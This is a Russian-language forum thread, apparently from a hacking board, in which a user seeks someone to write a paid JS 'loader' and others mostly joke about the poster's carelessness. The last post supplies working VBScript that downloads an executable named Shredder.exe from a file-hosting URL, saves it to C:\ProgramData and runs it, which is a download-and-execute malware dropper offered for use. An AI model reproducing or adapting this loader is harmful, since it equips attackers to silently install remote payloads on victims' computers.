Необходимо написать лоадер JS

[italianez]

Необходимо написать лоадер JS.
Оплата достойная.
ТЗ и контакты скину в личку.
СРОЧНО!

 

[firstoff228]

Напиши в вк.

VK.com | VK

vk.com

 

[Blitz]

ты б еще домашний адрес оставил

 

[2c71e9]

ебать, вы что уже с телеги в вк перебрались?) совсем народ бесстрашный пошел)

 

[Nil$]

Подстава?

 

[BGH]

Готов взяться.
8 (495) 224-22-22 звони сюда и хорошо распиши тз и все что нужно

 

[Nil$]

Прогуглил номер.
Гугл сказал что бы я оставался дома, не трогал компьютер и за мной уже выехала группа хмурых чуваков.

 

[Кузя]

ты б еще домашний адрес оставил

мб фейк, не?)

 

[wulkan]

Необходимо написать лоадер JS
Вот вариант держите :

Set oXMLHTTP = CreateObject("MSXML2.XMLHTTP")
oXMLHTTP.Open "GET", "https://www.upload.ee/download/10619171/0da0932d03781632d87f/Shredder.exe", 0'адрес сайта
oXMLHTTP.Send
Set oADOStream = CreateObject("ADODB.Stream")
oADOStream.Mode = 3
oADOStream.Type = 1
oADOStream.Open
oADOStream.Write oXMLHTTP.responseBody
oADOStream.SaveToFile "C:\ProgramData\Shredder.exe", 2'куда файл сохранять
Set objShell = CreateObject("WScript.Shell")
objShell.Run "C:\ProgramData\Shredder.exe"